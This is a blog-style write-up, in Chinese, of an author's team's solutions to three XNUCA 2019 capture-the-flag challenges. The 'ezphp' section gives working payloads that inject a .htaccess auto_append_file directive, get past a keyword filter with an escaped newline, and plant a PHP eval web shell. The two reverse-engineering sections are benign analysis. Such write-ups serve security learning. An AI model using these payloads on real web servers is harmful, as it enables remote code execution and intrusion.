和队友打了 XNUCA 2019,话说这个比赛题目要不要那么难。。。
满眼全是 kernel、windows、虚拟机逃逸。。。
而且记错了比赛时间,浪费半天时间 ORZ
看来还是自己太菜,只出了俩简单的逆向题,其他的实在是不了解呀。。
ezphp(队友做的)
1 | <?php |
文件名只能有小写字母
和.
,文件内容过滤了一些关键词
首先尝试写入php代码到一个文件中:
filename=a.php&content=<?php phpinfo(); ?>/*
,结果发现不解析php
想到写入.htaccess
参考 https://github.com/sektioneins/pcc/wiki/PHP-htaccess-injection-cheat-sheet 中的方法,使index.php
文件包含.htaccess
本身,执行写入其中的php代码
content:
1 | php_value auto_append_file .htaccess |
但是过滤了file
,可以使用\
+换行
来绕过
内容的最后还加了一句\nJust one chance
,防止出错同样使用\
+换行
payload:
1 | ?filename=.htaccess&content=php_value auto_append_fi\%0ale .htaccess%0a%23<?php phpinfo(); ?>%5C |
同理,写入一句话,在/root
目录下发现flag
1 | ?filename=.htaccess&content=php_value auto_append_fi\%0ale .htaccess%0a%23<?php eval($_POST[cmd]); ?>%5C |
Clever Bird
控制台模拟的 Fbird 游戏,程序存在几个反调试点,用 OD 可以直接忽略
IDA 分析代码,在主循环结束之后会进行一系列的浮点数运算,之后将得出的数据和 0x436ae 做比较。
到这里大概有两种解决方案,一是写脚本模拟算法求解,二是使用程序自身代码进行测试。
调试发现参与运算的源数据是 score,并且 score 越大,最终的计算结果越小。
二分法手动测试发现 score 可能的区间在 0x100000 ~ 0x300000 ,进一步测试推算出正确的 score 为 0x200002.
之后每次运行程序手动 patch score 为 0x200002 即可继续下面的逻辑。
接下来要求输入正确的 key,初始化 key 为 1234567890,输入程序之后发现会先剔除前 4 个字节,将后面的字节带入一个循环中,利用上面计算的结果 (0x200002) 对数据进行逐字节验证,手动解密出结果为 010000000000000001
然后取回之前剔除的 4 个字节,带入另一个循环,每次 取出随机数的最低一个字节和输入的字节进行逐位异或,并将结果和硬编码的数据进行对比
内部硬编码数据为
00EFF8E0 16 00 00 00 E4 00 00 00 B3 00 00 00 BD 00 00 00 …?..?..?..
取出的随机数依次是 0x4,0xe5,0x91,0xa9
最终计算得到结果为 B1RD
拼接输入程序得到最终 flag
flag{B1RD010000000000000001}
damnV
利用 KVM 构建了虚拟机,查阅资料得知 KVM 类似 VMWARE,仅仅提供虚拟化环境,而真正的代码依旧是用户态传入的。
IDA 分析代码的时候发现了一个 .paylaod 段,和 CSAW 2018 KVM 题目相似。
.payload 段有 4 个handler,作为虚拟机运行的代码。主要函数中通过 ioctl 执行 KVM_RUN 对应的内核代码,参数位于 .data 段中。
通过分析代码发现 .data 段参数具有固定的格式,前 4 个字节组成的 int 数据为 handler 标识,0 代表执行 handler1,1 代表执行 handler2…
紧接着 4 个字节代表从输入读取的字节数量。后跟 handler 的参数,经验证 这些参数是用于验证输入是否正确的。
分析 4 个 handler 发现 handler1 是 CRC32 算法,handler2 是斐波那契数列前 n 项和,handler3 是换表的 BASE64 算法,handler4 是循环异或加密,key 是 Bird, Bird, Bird, Bird is the word.
main 函数中会调用 VM 233 次,动态调试发现 .data 段中的参数不断变化,但是每个 handler 的调用次数以及读取用户输入的长度都不变,每一次需要输入 73 字节的数据。
想到的一个思路就是 python 实现 4 个 handler 的解密算法,并用 IDA python 脚本动态提取出所有 .data 数据模拟解密即可。
用于提取数据的 IDA PYTHON 脚本
1 | from idaapi import * |
实现解密的脚本
1 | #coding:utf-8 |
最终解密出的部分数据
1 | Don't you know about the bird? Everybody knows that the bird is the word! |
将明文写入同一个文件,利用 strace 命令输入程序即可得到 flag。
1 | strace -vo log ./damnV < ans.txt |
flag{The_Auth0r_was_stark_mad_and_keep_listening_surfin_bird_for_comfort}